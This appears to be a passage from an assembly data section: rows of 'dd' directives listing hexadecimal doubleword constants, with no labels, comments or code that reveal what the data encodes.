dd 2EF424A4h, 912F1088h, 0CBD758C0h, 6F143F48h, 7148D659h
dd 249EB004h, 8C37C510h, 0E8248C21h, 620780B0h, 0B7B05E0Dh
dd 0F63B557Ah, 0D72707CDh, 0E09E9780h, 83703062h, 1E11CF00h
dd 7CAF959Fh, 0CED49CDh, 0AD5CA40Dh, 8162F890h, 3364C909h
dd 0F7580106h, 18D1C7E8h, 51C82180h, 4E5C655h, 0A9ABE24h
dd 0D5002828h, 76810F38h, 50BB2FF4h, 3F1588A6h, 1880568Eh
dd 77C2CACBh, 0AD3BD766h, 2BAC010Bh, 85CE12F4h, 1017D084h
dd 4F24D0C4h, 3F00C20Fh, 0A04F298h, 0F56D83Ah, 2F57825h
dd 94439A94h, 69AE6D01h, 0C9D0824h, 0EDAB883Dh, 840A4800h
dd 2F12023Eh, 0CA5800FBh, 240BD771h, 0AC094AD2h, 1D3EE2C2h
dd 0E0E21568h, 30B17780h, 0D4007A76h, 1281A99h, 536ECD13h
dd 8726AC4Fh, 0B63105EAh, 0A9AC32C8h, 704ED62Ch, 0A004706Eh
dd 0CA6BA3h, 49F8CFE6h, 0CC87B0CBh, 36B5A009h, 580AFFC9h
dd 9921768Ch, 0D7CA80BDh, 0B3A6F518h, 9078D203h, 1007A4h
dd 630AF88h, 0E7EF8C3Ch, 9D2A317Dh, 6607CC34h, 0A50BB69Eh
dd 88C913D3h, 0C3BB99h, 0C8A09458h, 246F6E22h, 3F0A1098h
dd 80576DCCh, 15C97A60h, 30AE465Eh, 869D7906h, 77E61F55h
dd 3A7A0091h, 0BE8531A1h, 38F8010Ah, 9CA6AC98h, 809F8708h
dd 0C9FE1B22h, 0DF0035CDh, 0E0783CBFh, 1E457034h, 40DBD5CAh
dd 278EAA36h, 20035415h, 104D241Ah, 7331A9A7h, 0C3C865ECh
dd 0D1B0B251h, 0FB7FB100h, 1AA47B4Fh, 0EB531F87h, 2905090Eh
dd 211FE497h, 29C8E61h, 0F379DC60h, 380044F8h, 0EB56B06Ch
dd 42587Eh, 57E85B31h, 39A1FCBFh, 0F3606D01h, 8E11F883h
dd 28AAE7E8h, 4680218Ah, 1B290142h, 0EFF5C9E5h, 0ECB2AE0Ch
dd 5286DC00h, 0C302B182h, 4B861h, 0E02D6E59h, 0E2BD218Dh
dd 0D21CA202h, 4D0BB04Eh, 453C6358h, 42647198h, 78001AEAh
dd 0A4DB7513h, 5C60D7h, 56D63A2Eh, 0D0307CB0h, 0BC841258h
dd 7D748CD5h, 0B780874h, 0E001344Ah, 6C9C63DFh, 5261C0CEh
dd 0E39D00CEh, 39C44EB9h, 0D81D3EB2h, 0D6895085h, 0A044A4Ah
dd 215C98E0h, 1980903Ah, 4143EEAAh, 0E9D112F5h, 0AB1C041Fh
dd 89CC2188h, 3B158862h, 6C183063h, 0C917E031h, 0C16000B1h
dd 9041BC0h, 5FF4261Dh, 78BDEC29h, 0A84A9D00h, 8C5C01h
dd 0E529175Ah, 7CEAF5B3h, 8827C226h, 3C80AC9Fh, 0D773686Ah
dd 0F0174879h, 0B2F57780h, 0A07EA215h, 375C2900h, 3DF4A4CDh
dd 0D0260144h, 21D40A62h, 4B1821C1h, 0F91A82F0h, 0EC97108Ah
dd 78ABCD01h, 7BFD2419h, 2A76C20h, 6A06D71h, 0F84D9580h
dd 427E6261h, 1D00F908h, 0A6F35A22h, 1F89D109h, 0EA677FEFh
dd 0FE67180h, 0A81C69CCh, 0B529F223h, 0C7B7709Fh, 2E016FECh
dd 26FC46ADh, 5828FABFh, 1AD59602h, 0FCC8BD44h, 0F100B434h
dd 8DB23C9Ch, 7F18A947h, 0FC4E376Fh, 35CBC0F1h, 0C31CCA37h
dd 0DB80F133h, 0FA890221h, 0A1BF062h, 44012C6Fh, 18774070h
dd 6526C7D3h, 965868EEh, 1B7E1Eh, 9AA0A101h, 647F2BA5h
dd 0C9E88E58h, 2890DC87h, 0FCCB488Bh, 1229C2C2h, 10E98F81h
dd 6203F17Dh, 33D0F2A4h, 0E78C8E8h, 9802FB77h, 5B9B84A8h
dd 56B44051h, 5FAF0B2Ah, 8497130Bh, 60BD9988h, 0ABAA41D3h
dd 5FD94600h, 0FC287BBFh, 0DBB000C8h, 0A5ED0CB3h, 14FEA956h
dd 0BC5CE05Ch, 4F078CFBh, 0A02493D1h, 8EBA3820h, 456B39B5h
dd 0C13ED583h, 315891E9h, 5850108Ch, 0E0CBE5C0h, 62ED6633h
dd 7C4CC060h, 2EC051C9h, 2E61486h, 55E4B34Bh, 0D673007Ah
dd 96895800h, 869544CAh, 0B3040B8Dh, 18A12C28h, 8AA85EFh
dd 83C90A58h, 5068DE5Fh, 55074F37h, 8E6C98DBh, 88076610h
dd 64E81342h, 8DDB0195h, 60CE84C0h, 0D3025746h, 9DD87EFBh
dd 96DE6073h, 38A80179h
dd 0AE49527Ch, 4235Bh, 0F44DAF59h, 94DC3666h, 0B9CFE13Ch
dd 0B4B8D44Ah, 857CDE00h, 41FC4B3h, 0B1E11F90h, 0E578436Dh
dd 0EE9F3F46h, 5DE345E0h, 40C184E9h, 6F9B1987h, 48F7AADBh
dd 2CE862B0h, 805C7ED9h, 0F07A02C8h, 0C4A18005h, 648C58F3h
dd 3127C90Eh, 0A3B0D0FEh, 0CF004E3Ch, 0B52C512Ah, 666D1Ah
dd 0CCCEBA13h, 0B8D6A05Eh, 331D0872h, 89E5BF88h, 4F0847A4h
dd 80B08B2Fh, 0BDAB0C94h, 0F0090177h, 0DD24278Ch, 0DE1C70FEh
dd 9331D300h, 9C1D73C7h, 0CC8F48CDh, 0B7969F3Ch, 544C202Ah
dd 0EE00D608h, 8C239B82h, 0CEBF81h, 0B3ADECD4h, 7293C131h
dd 0E6F99E01h, 1124A642h, 4E3030h, 6DC0987Dh, 14FA108Eh
dd 33633E00h, 274F41ACh, 0CAAD00F2h, 0FF71A06Fh, 0F1F8D42h
dd 0A4003102h, 36DC9346h, 5DF500BDh, 8E5A21D7h, 61904DB9h
dd 88A27F00h, 7938AD70h, 0B3C100B1h, 0E1738FEBh, 0E000B233h
dd 0D024FFBAh, 0FAA1964Dh, 99F70054h, 18952BCCh, 0CD00A78Eh
dd 557CEC26h, 3CF2978h, 44D8943Fh, 70074ADEh, 8217FF87h
dd 0D4805317h, 134805h, 20068624h, 1F63EE3Eh, 408C5228h
dd 89352B00h, 5CE34C05h, 7EFD00A6h, 79DDF826h, 0A40F6006h
dd 4FA124F3h, 49D581BDh, 4820E78Ah, 3C163EB2h, 6C30A500h
dd 0AF83BBA9h, 588FE430h, 0A00145ABh, 29B7D8Ch, 0B5EA3B2Dh
dd 43C01C2Ah, 97397C73h, 0ED50808Dh, 354E9B31h, 99965045h
dd 0D49054D8h, 0BC5700A3h, 0E7192679h, 0ED1C2EFAh, 544355EEh
dd 0C04983C0h, 1C6BC3E3h, 80137C26h, 1C7325CFh, 0E258A417h
dd 3E46005Ah, 0D09F86B6h, 0BACE13C0h, 0A8320074h, 55CF8003h
dd 7130A900h, 0BE296138h, 51B63E21h, 0AE01EC00h, 0C81AF24Ah
dd 5400F0F0h, 76DA70EFh, 601DD41Bh, 42A51052h, 230CE12Bh
dd 4929F4EEh, 7BA7017Eh, 0F3DEF7Dh, 8F205085h, 8AF6F188h
dd 0DE18BC54h, 34194729h, 0D5A35831h, 30004308h, 8A9E3EFFh
dd 282AAF7Eh, 86B9829Bh, 3160C150h, 50BBFCCCh, 710E9E1Ch
dd 0A33A517Fh, 0A96F0A72h, 0CBC13866h, 0FE188588h, 0BB010A71h
dd 51961C4Eh, 685C3E2Fh, 7BDA2941h, 145E1538h, 0E3036098h
dd 0BE0068A6h, 6EBADD63h, 0AB5CFB9h, 7E98312Eh, 7181789Ch
dd 1E41C784h, 68237827h, 524DD01h, 28801DD2h, 8382947Eh
dd 98AEE3CFh, 2AE58702h, 18ED353Dh, 3B1595DEh, 9844EEB6h
dd 317DF558h, 0AA30EB9Dh, 0E4CC402Eh, 0CF095214h, 85BB0B50h
dd 9800736Fh, 0CD0982ACh, 0F7371D34h, 5CEA004Dh, 0E13CAEAAh
dd 8755C0E7h, 147AE312h, 27EF8900h, 1CC5ADB8h, 0E4EC4144h
dd 0C00139B7h, 938D0998h, 48244836h, 52CEFA04h, 1C305385h
dd 4300E076h, 414A308Ch, 0E84954CCh, 0C939000Ch, 77762DBAh
dd 0E076C44h, 516D0BADh, 50303205h, 0A4889381h, 0EBBC022Ch
dd 0E72C4145h, 5C4244BAh, 0C3E9181Bh, 0C8C8984Bh, 71C2CD0h
dd 0E36C43E6h, 4DACC332h, 18635078h, 0E8EC08h, 402FCC30h
dd 42BBCDB8h, 7568EDE8h, 0A8EC3CB0h, 0A40A57A1h, 0BD0BFC01h
dd 8C2F6D31h, 80BB0C58h, 78AB614Ch, 9538618Ch, 37B03A18h
dd 0B0CA6026h, 87CDC973h, 767A9C18h, 0D52C4319h, 0D888EAB1h
dd 0EC0EAC0Ch, 0ADBAA040h, 0A631BC8Ch, 8E197E58h, 0D33EA4F4h
dd 0DC752843h, 98C84C52h, 84C07E88h, 79DCDF40h, 0DB80120h
dd 0C01FFF03h, 5E44B43h, 54F63B61h, 7F7C1C41h, 784B411Dh
dd 0FFDDE60Ah, 0C41C4518h, 4BFC38B1h, 1BA0CC3Dh, 9810E807h
dd 0E4E916AFh, 9C920CBBh, 0A8D0D766h, 0ADF73902h, 0B84AD130h
dd 188A9624h, 380A672Bh, 53242D3Ch, 4B5878B8h, 0D6111F52h
dd 0DC92C20Bh, 0E0833C39h, 4DCA864Ah, 922E9C94h, 9183299h
dd 40FF7C58h, 18A59F84h, 156C9E83h, 1C8905C3h, 2CB83E3Dh
dd 0EC0D70E4h, 2828D1F6h, 575B48F8h, 9900280Ch, 6AF6DF1h
dd 0FFF292B9h, 80C5F26h, 18B42B58h, 504CD7BCh, 5E1DACFCh
dd 3071AD0Ch, 845CE6EDh, 3969F8B4h, 0B450AEB7h, 92B126Dh
dd 8B9002Dh, 0B995EEDh, 0B57467F0h, 2F0638AEh, 42E1A81h
dd 0C33C3098h, 57D26D40h, 0B64170C4h, 29420CC3h, 4FD82D08h
dd 239CA000h, 0C4A0BAC1h, 857B484h, 88570214h, 0A2389491h
dd 40792DC0h, 57144BE8h, 110218B5h, 17BAF870h, 0E20F1C00h
dd 0DED30B7h, 5AB44D08h, 7B01A0A7h, 16FD2A11h, 0E1E4BC00h
dd 228DB705h, 1870B875h, 2A3FFB8Ah, 14CC03B1h, 0F4B511FEh
dd 1B2BD0B7h, 0FC8137C3h, 0E280B022h, 0FDAEC56h, 0D8DF1F00h
dd 0E904ED59h, 184001Ah, 439DDD29h, 51012A89h, 0F85AE6A9h
dd 0CF0BD5h, 83AC7830h, 23864901h, 45147E54h, 0DCDF4E07h
dd 1841222Eh, 5894492Fh, 0D7C01482h, 2BAE67ABh, 2BEFB880h
dd 812804A5h, 0D71C451Eh, 0C058020Dh, 310907BDh, 6158F2F7h
dd 41C9D0A4h, 6403B8DDh, 0CF6958FBh, 478982EEh, 83289067h
dd 60CF7D9Eh, 88F8C8FCh, 893104A8h, 0CB298037h, 4AE9408Eh
dd 0E149071Dh, 2B09811Dh, 4C88589Eh, 767A2718h, 293998C1h
dd 609C55F6h, 0AD1ACC01h, 338EB40h, 49552CC9h, 70A521E5h
dd 8092C650h, 1EA6FF14h, 7A9700CCh, 65082890h, 39FC296Ch
dd 0B2158318h, 0D1015583h, 970F6C78h, 184BF948h, 0A475C107h
dd 18601C99h, 30870131h, 28D0867Dh, 44E2B67h, 66B8164h
dd 85A4F469h, 0C6FFB838h, 5F9B038h, 62D4A17Dh, 0DD80021h
dd 4F09552Dh, 2784AE9h, 5B085613h, 1DC8A1ECh, 87E597EDh
dd 4368A0E7h, 39A8F0E8h, 3B7C7E90h, 31783E0Fh, 48283CC5h
dd 0B1088F46h, 5C688A34h, 8198D7C0h, 0D99C41A7h, 4850801Ah
dd 888DB10Dh, 18AD746Ch, 68DA8128h, 8C8DE3Dh, 0D4C81D46h
dd 8D018CDDh, 7A690765h, 5288904Ch, 0DC2C800h, 59A7495Bh
dd 843009E8h, 721B837h, 0C319F879h, 0B4E9E810h, 4116780Fh
dd 6E500690h, 96733B8h, 83DC0F20h, 5878D05Ch, 5527A212h
dd 12119C2Ch, 457F5BFBh, 461738C4h, 0A8B6A898h, 5A007374h
dd 8DB07C89h, 0C0994CC8h, 439C42E8h, 5606E949h, 7180A891h
dd 988957E0h, 8F2CC702h, 0D802A577h, 0E7880315h, 0BE686809h
dd 78480281h, 0CB8C412Dh, 4A0812C7h, 979C04F8h, 612083A9h
dd 3F28F813h, 4E93001Ch, 876183Ch, 1F19E4B8h, 700E780Ch
dd 63560328h, 5266A892h, 0ACA08A0h, 0AF695B02h, 0B0489498h
dd 12739224h, 66FD2F8h, 0B0FB183Ch, 0E4DCC828h, 58E58831h
dd 30109268h, 0E9185AA3h, 1370DCFDh, 7DFCA1DFh, 0B7687089h
dd 4A484000h, 0C837910Eh, 0F88FF8BFh, 83BD8808h, 20820DE1h
dd 0C348C508h, 7E9C1888h, 80816618h, 947486E9h, 28823A20h
dd 24C8A030h, 193C8458h, 8CE4114Fh, 187E6808h, 3B7933E8h
dd 87C7F40h, 8818A161h, 0D08AB4F3h, 0DF08505h, 86583C2Fh
dd 9F4DE841h, 388B6218h, 0C48E0EA8h, 86E9686h, 0B51861DFh
dd 48702810h, 0DA300CAAh, 0E13AC908h, 0BCF44890h, 0C615878h
dd 0BB5FA810h, 315DEE0h, 8C9E5002h, 0C1C0FD98h, 46F0FF9Ah
dd 5E1E9B74h, 3E03B6CDh, 0A3FDD241h, 4D07F46Ah, 6EDEC2F2h
dd 0A133800Eh, 63C47EFDh, 0B839209Fh, 4CDF7B83h, 0AC70D510h
dd 0AFFA3B1Eh, 0B4E37E06h, 8526218h, 1E016DFEh, 2080BDCCh
dd 5EFDD103h, 0BEF88638h, 887ED31h, 6887266Ch, 13FE6B85h
dd 28188988h, 7C08E036h, 1DBEF0DBh, 8E06B1E3h, 0FB03EAB9h
dd 9000C2D9h, 1B0544DEh, 1D51AEFEh, 3388197Eh, 7BE31648h
dd 0A3C21CEh, 593B0C4Dh
dd 0C0081021h, 7BDF5B20h, 0D13E9B06h, 0ADFB1B17h, 0F5FE210h
dd 787F63C6h, 9B70DA03h, 14B6FF7Eh, 0A0FDCE28h, 0FC03AC00h
dd 0FEECD45Eh, 0E3CDBE8h, 4E35189Ah, 0E03AE940h, 0A9C91D1Bh
dd 6EBF0001h, 48AE1E9Bh, 0F281AA00h, 14AC7187h, 0CB780EF7h
dd 0BB039FF4h, 9B80E437h, 60C754Ah, 4856351Bh, 5B08C305h
dd 20005737h, 781A74AAh, 2ED51EB1h, 0CC080F4h, 8E196BB8h
dd 3C193B3Ah, 7D840B7h, 0E3F76D7Fh, 0A81881B9h, 0A20890EEh
dd 85C3801h, 8C8F176Ch, 867B728h, 33800057h, 3F1DB4D5h
dd 0F83C9818h, 0D4340436h, 37C629CEh, 392A0321h, 42BF74D7h
dd 865634A1h, 0E5761410h, 804CFC08h, 0B4F87077h, 63391720h
dd 1AD4505Dh, 8794183Fh, 4A581813h, 7C29303Ch, 0FDD4195Ch
dd 9B0817h, 0C69130F4h, 8848F10h, 0C15F33Eh, 900B6754h
dd 6088662Bh, 0A40621F9h, 2D581E08h, 18F81E08h, 36B80703h
dd 7D8C006h, 581F29C3h, 38066A8Fh, 31186718h, 8E100D1Ch
dd 9D78F010h, 4EFE597Ch, 0D81A7C00h, 0B76C58C5h, 836338DAh
dd 9F576900h, 52E1A978h, 0CAC10A01h, 1AF8D818h, 0A4DD9085h
dd 301C7314h, 5989D0A7h, 0AA7F52D4h, 78006A90h, 0D76CA905h
dd 141ABA15h, 0DC9D91F8h, 0D4BE2414h, 0CA928F00h, 0C0D58173h
dd 9B001CF4h, 85B1FE97h, 7E020BB8h, 146B50C8h, 207DF03Ah
dd 9E012528h, 0ABBFB62Fh, 8BD1B92Eh, 0E8BE5B20h, 30B37C52h
dd 5A21694Bh, 2B0F80D0h, 4B8BB82h, 3780E052h, 0F8BFB403h
dd 0EB18C01Ch, 7264A575h, 8C10BE6Fh, 636119EDh, 0EAAA08E7h
dd 0D9AB1801h, 8E526BADh, 61A18BD0h, 0F47E7870h, 2F24FC81h
dd 89D3F1E9h, 80492B08h, 9D22CB1Bh, 7F320364h, 4B0BBFEEh
dd 95081102h, 20D0ED48h, 0F27ECC14h, 0AB385261h, 92E0B3A1h
dd 6B0F2CAFh, 7D3C385Dh, 0DEFFB1Fh, 0D3203932h, 0D264A2B0h
dd 6FFD0B20h, 590C1867h, 181E8B70h, 0F60E7F86h, 37528384h
dd 0A472C091h, 127D010Ch, 0D26B10DBh, 3008BC3Fh, 76B21851h
dd 0C938CC87h, 5F1F9210h, 0DA197EABh, 0FEB3218h, 8AE5F258h
dd 83530C1Fh, 9140F618h, 7329C8D1h, 0A88B4D8Ch, 5218CB74h
dd 0B206E5DCh, 61087A82h, 5712202Fh, 4DCDC44Fh, 7F498324h
dd 1DBCD614h, 0B0EE1D4h, 37C0B4FAh, 38508E5h, 20D5CC4Ch
dd 25B91EABh, 10D618B3h, 20C3424Bh, 0C0EC7B2Bh, 782012EBh
dd 86961B3h, 0E322E0ABh, 4026A3E1h, 8015F9D8h, 10534B37h
dd 31240C43h, 54212B08h, 0C1FC4323h, 0E00328CEh, 7B0BB328h
dd 7808761Fh, 0B68B0124h, 0F3D27D81h, 3A72D050h, 82107665h
dd 7E2D3BC0h, 28CDE899h, 30C4BD6Ch, 62087423h, 0D48498Ah
dd 780FA084h, 809EF438h, 0C55259BEh, 0A5E0310h, 0F3F75F17h
dd 0F085BD97h, 0C1C28807h, 35A8CB41h, 83B045F6h, 2D8C0D7Fh
dd 7BF6D6A8h, 75E99000h, 0EE8ED2F2h, 6646006Eh, 0C11C327Ah
dd 503CB249h, 0F0720057h, 7B307152h, 3D6A30AFh, 0E0289B41h
dd 7AFC9A81h, 0BA1300B2h, 0D8891249h, 0F723EF18h, 0D1110055h
dd 0D36D98E6h, 0EDBBF611h, 7493E501h, 878F8052h, 49EFF588h
dd 90618382h, 3B915D20h, 806229AFh, 1201ECDBh, 1448540Bh
dd 3B6A08A4h, 0FB063548h, 3D68DDF7h, 1280FF01h, 524A899Dh
dd 8C0DB6Ah, 0AFE0049Fh, 74AB08EDh, 320812B2h, 8DA03BCDh
dd 111F9237h, 4175E4D2h, 0D2D0ECD8h, 10DF36h, 0FE12604h
dd 1E0025CCh, 4996D8EFh, 0F0FBFD72h, 28D23E8Fh, 4A9A6F01h
dd 0B9AF4FE0h, 7BB21F91h, 7A47CBC1h, 86D61452h, 2B08E0C0h
dd 83848172h, 707DF73Fh, 11BE100h, 0DCF1890h, 8090C0E7h
dd 0E69249B4h, 0A9C2A4A3h, 5680E88Fh, 873248FDh, 2A0428A6h
dd 0DE3DA71Fh, 508D3B07h, 6322AF18h, 0E4F27A29h, 8B6ECD40h
dd 5B81C639h, 2F563014h, 264C022Ch, 6234A1h, 188F437Bh
dd 0ADB04F18h, 8068AAF0h, 0EC24405Fh, 0BE5038AEh, 634A3CA7h
dd 90A227C4h, 8ED3F804h, 0F5127730h, 50405134h, 749AD0BBh
dd 0CCF81272h, 6E142C49h, 9337FA12h, 0A2DB4841h, 16F97B0Ch
dd 942CE844h, 365918EEh, 57FBD131h, 9BB8F150h, 0AF1EC80Ch
dd 2892D843h, 0D9C4AF3h, 0B2758437h, 26684BE9h, 0DF185F09h
dd 0CF661B51h, 3B2B278h, 274C4F24h, 4023C5A5h, 48029748h
dd 0F0A9CB92h, 0F2E841A6h, 210BAB6h, 0EECFA86h, 0C6E8483Bh
dd 7092F997h, 44280EB6h, 48603190h, 108E4732h, 0C12D6F2h
dd 52082544h, 6F326240h, 1F8C6057h, 0C1645F19h, 0A0816240h
dd 8BC8CD2h, 0F2504B31h, 86318CEFh, 48A02085h, 6E243CB3h
dd 9FB20CB4h, 0FD415228h, 97B8F3D3h, 181F9784h, 23F208BFh
dd 1F89B66h, 662F2008h, 0D4D1CF12h, 862340Ch, 0B4AC480Fh
dd 192A6F18h, 1F18CDC0h, 92B0F34Fh, 7403E396h, 8E07137h
dd 0BC975A84h, 50D220CCh, 62929485h, 5C5210D9h, 4883D48Eh
dd 0D4E34ADCh, 0DAF22010h, 786E6178h, 0D01FD64Fh, 9C9300Fh
dd 0D0F42FD0h, 2458AF0Ch, 2962BB10h, 401171A8h, 0E966A1FCh
dd 0F0450AE0h, 8384CCFh, 58462F18h, 10C6DA8Fh, 6521E3AFh
dd 4AAA11C3h, 9A4F288h, 0D0007C12h, 49B9EB72h, 0C82E323Ch
dd 287826ACh, 0B0685204h, 0EF94887h, 0CC558740h, 7C1CF2C3h
dd 95701220h, 83742C74h, 25814E08h, 0EA3B0978h, 8AAF4804h
dd 0DC7307D0h, 9A80963h, 5804965Bh, 48748A4Fh, 74560989h
dd 3C04A677h, 60189128h, 282EB40Ah, 859B29C8h, 28AB83AFh
dd 0D4080554h, 962E1E3h, 0F8039ABBh, 80AAE12h, 0F0B5F052h
dd 0ECC5B900h, 74BB1D8Eh, 36B324EEh, 68DD1E30h, 10C063E4h
dd 81878EFh, 6E28A0CFh, 8EA6137h, 5CE00304h, 0DE082858h
dd 0C1B0AB8h, 0B27822DBh, 12AC0E50h, 0EE92E71Dh, 40042CD3h
dd 40856E32h, 0E805B884h, 0C402896Fh, 40224472h, 99EC2020h
dd 5BDAC0A4h, 73401B07h, 6CC24DFBh, 70975719h, 48F9BCE1h
dd 8A921204h, 7232CC0Eh, 5BD27405h, 0BF12EC81h, 67F11821h
dd 0F20E8843h, 3CBC60CAh, 4DCEE2EDh, 38C3A80Ah, 758A568Bh
dd 8AE1B02h, 0AA9F58C4h, 0A1C32330h, 0CC96543Bh, 0D2300190h
dd 71EC9358h, 48B8CA20h, 6F0A6CFAh, 0FC4BE0Ch, 181D477Eh
dd 0AC52A033h, 0E0243648h, 203CCD97h, 5B297860h, 6E60482Dh
dd 0FD5CFB86h, 472D7B01h, 0D211E4C0h, 0BC87B30Ch, 81AEB512h
dd 207586D8h, 0B95C4D48h, 8070E77Ch, 88751268h, 0ECA1D545h
dd 0F15831B6h, 0AE065B8h, 0F47D02A0h, 1734D84h, 219091BBh
dd 0D0EBD940h, 20EF512Eh, 6CB0BF50h, 0D604208Eh, 7768EB1Dh
dd 300BDB05h, 9B74DE10h, 606CC72Ch, 99CDFB0Ch, 56D498D8h
dd 9F051892h, 43EC6578h, 0DA531B8Ch, 87E5900Ah, 3EB7C75h
dd 0C73C8D8h, 0D9F93B31h, 450E32B8h, 4011D72Ah, 0E4DFD483h
dd 7F973A19h, 0A8551280h, 0F57A1C25h, 8095631Dh, 0F38D80BBh
dd 0B71809A5h, 18E25284h, 0F9C8910Eh, 0A008FC88h, 9733081Bh
dd 0EE0C7704h, 0E3F8E763h, 6E0446CDh, 1B52C095h, 2A4EEB00h
dd 31074277h, 3A34D718h, 980E9742h, 0F48F9620h, 0E0A1C70Dh
dd 138D1166h, 414C4C78h, 387B397Ah, 5956038h, 572B8AC8h
dd 9483FA80h, 0A57BF8EDh, 0D5408380h, 0A1014C14h, 2B8DE820h
dd 304C85F7h, 0A4F91139h, 1A400A4Eh, 3F50148Fh, 0A79A3369h
dd 28C66051h, 0AD818C85h, 0F78D7D0Fh, 6486BC51h, 2499077Bh
dd 8F6B62Ah, 56C43720h, 8787817h, 0D9831D39h, 0B7E0A000h
dd 2B86B47Dh, 814C2A23h
dd 617C8F29h, 0C07089FBh, 0F40802AAh, 0BC948807h, 43F5F85Bh
dd 60FB4467h, 2082C48h, 5719D489h, 6A189808h, 20863705h
dd 1F170091h, 1C007BE1h, 5341C8B4h, 998D81Dh, 0E55DF8EBh
dd 0FBE36281h, 7B08800Ah, 0B8B9BA20h, 0E16B2C74h, 0F1E90110h
dd 8CA0ACFBh, 28A86708h, 5BE7C72h, 0B79DE83Bh, 2C346058h
dd 0C22084A7h, 730500A5h, 6BBE3B6h, 5B3EE176h, 72F1808Ch
dd 1238C194h, 8C462B5h, 8CE02A8Dh, 0E074B7Bh, 9BFFC871h
dd 38CD1480h, 62BD00B2h, 987B881Fh, 4502748Eh, 54ECB42Eh
dd 50546040h, 295CB873h, 118B0B8h, 0FAEA02B6h, 0CD8C008Bh
dd 31100569h, 843A189Dh, 48303040h, 0B92059F0h, 0AAAC0140h
dd 5D7238A0h, 0F21448B7h, 0A063C43Ah, 134C3041h, 60FAB158h
dd 0B8D23A08h, 8B06C0C9h, 31C29133h, 0E13F2F6Ch, 404C104Ch
dd 0F6611B0Ch, 98B8E1FEh, 40AE4876h, 4761B91Dh, 0F52CD9B1h
dd 813C50A3h, 7264984Dh, 0DECC017Ch, 837C50A3h, 59E9A9B1h
dd 0EDEC5110h, 81C0A842h, 467563CDh, 288AEE89h, 613CC432h
dd 0D1F52175h, 0E6AC007Eh, 783857BBh, 0DE07EE02h, 4C027DD6h
dd 0E0640816h, 6F1D967Ch, 0C76C8CA8h, 3C3A7E2Bh, 0AFE3D383h
dd 0C5100F8h, 129C3ADCh, 0D0FDF5Eh, 62E2DE31h, 40B55591h
dd 0A5B9B34h, 804C1110h, 408C21E0h, 5504129Bh, 52CC9CEh
dd 0A02C38C2h, 0FEA3004Eh, 0A9522E29h, 8D00BB9Eh, 0D4CCD220h
dd 0A7721Fh, 0EC47028Eh, 5CB41015h, 14BE28C0h, 23B2206Eh
dd 4301D687h, 5FB57478h, 0E4EEDE01h, 0D0533220h, 2E493B28h
dd 2830A037h, 57362EFEh, 7C02281Eh, 58DAFB0Ch, 5321E03h
dd 9F0672A0h, 0D02C7751h, 0EB3DDAFDh, 10D3E80h, 55F281E6h
dd 0DE0AFA28h, 46121898h, 0EA6DA610h, 9D035E00h, 0B6D1D21Dh
dd 0E0F25408h, 2915C0D5h, 4140BB0Eh, 0A5D7707Eh, 9A2E035Ch
dd 59031144h, 1CAB379Eh, 7FC8D9B2h, 661CE5E9h, 1C20D8F4h
dd 31BE6842h, 277A58C4h, 59C09CEAh, 1C9891DEh, 28E45312h
dd 9E149D58h, 3088B026h, 0CD806823h, 1519F00Eh, 50B0A151h
dd 60AC28A1h, 4A22EBFCh, 60185D45h, 7AB5060Fh, 10AB03C4h
dd 1E4B4503h, 1B49DD72h, 30D38508h, 0E669BFC0h, 0AB607B7Fh
dd 13015C46h, 637490h, 0A932EC3h, 0EA8A5D99h, 49E57E03h
dd 0B34EF6h, 9730ED48h, 0A0D734ADh, 61187430h, 0F4DE50h
dd 0E70619FBh, 5581628h, 0C43A870Eh, 0C58E40F8h, 786B1E4h
dd 679D4533h, 5D6FEE4Fh, 820A1FA0h, 18C10897h, 0EB926F1Ah
dd 3DA6ACFCh, 34811C66h, 54713BC7h, 0B59BD858h, 0DE4480C0h
dd 0D35D89h, 0AA41BE2Ah, 7361C257h, 7B156D3Ah, 911F201h
dd 0D71A9307h, 0A0101A60h, 207F990Ch, 1D1D350Fh, 1E855A97h
dd 9C203122h, 2931ABAh, 0E2E47369h, 0A080EC90h, 18653115h
dd 8F587C3Eh, 20D94519h, 75FD9913h, 959C01A3h, 127D6CD4h
dd 0B0488C81h, 3E0FBE4Eh, 0ED8024B8h, 648C61DAh, 110F1E34h
dd 0C73C2EA2h, 89833198h, 87CAAh, 73326960h, 92182608h
dd 3D001777h, 912E0A3Fh, 309943D1h, 3938B7ADh, 83C2B2Dh
dd 4E6900F6h, 0C1C28CFAh, 0C03FE81Dh, 0FF6C7569h, 2A58AF3Bh
dd 526F0062h, 0EF0EE896h, 6A980028h, 0A37FF899h, 111F222Eh
dd 6C403195h, 7EC6678Ch, 0B60F003Bh, 0FC851F74h, 180968E1h
dd 3E599CCh, 0F08D1998h, 0F3CEEFh, 68E206FAh, 0A237B30Eh
dd 5E9CBB01h, 19EF7194h, 0C5BE044Ch, 7B1D0A48h, 30AD740Ch
dd 0EAE8FD83h, 79D1B048h, 259C000Dh, 0EC1112Ch, 881866EBh
dd 0D1187A45h, 21088435h, 877229Fh, 5942329Dh, 33351097h
dd 95C42184h, 413C6108h, 1227AAADh, 0AB891819h, 37C52184h
dd 0BEBAAE00h, 0CCD5B5h, 31E17A79h, 34B12C3Dh, 21B6FD20h
dd 920268F5h, 5ACA43Bh, 83184571h, 0ED0C0438h, 370C2178h
dd 3F092443h, 0E780E931h, 0D8B0A066h, 9F1C9AE5h, 806610Fh
dd 18334Eh, 0F8C27559h, 8EE12706h, 3A3BE020h, 5C804B97h
dd 0A6C8A4A5h, 0F70C3E11h, 2035034Eh, 0C4FA1D8Ch, 662FC0CEh
dd 6B2ECF55h, 2D00EEE8h, 8E9DA1BBh, 784F2180h, 54AA07F6h
dd 0D0676603h, 0DB41F060h, 17E93B18h, 0F8E18108h, 0E7D5004Bh
dd 9DA2FB7Dh, 0F702CCA7h, 0B8489C5Ah, 464C9062h, 0C0317174h
dd 67A31610h, 51006CBEh, 0B191FF3Dh, 1F3B6FCh, 1FC21088h
dd 0DC1940E8h, 1675E126h, 0ED3B9503h, 0E35B915Ch, 7C6FC0A4h
dd 0D960039Dh, 0A7B59042h, 1CB917A2h, 721A41h, 0D7DB51A0h
dd 172FE69Bh, 47CCA903h, 8FB8DC80h, 0B8F8C07Ah, 0DA68C0FCh
dd 343B6B4Ah, 45D8A506h, 9294380h, 483A55DDh, 3128C20Ch
dd 257D1A00h, 0F6B374A3h, 145174B4h, 5CEAA477h, 0E51084C1h
dd 0AE6FF818h, 8DAF5C26h, 0EDCECD02h, 9760D726h, 4000A44Bh
dd 4D0C2368h, 176AFA0h, 0C76E62CAh, 47A2DFADh, 0CE0EC0BCh
dd 3612E82Bh, 104031E2h, 5B272FCCh, 0A45737F1h, 83CFF029h
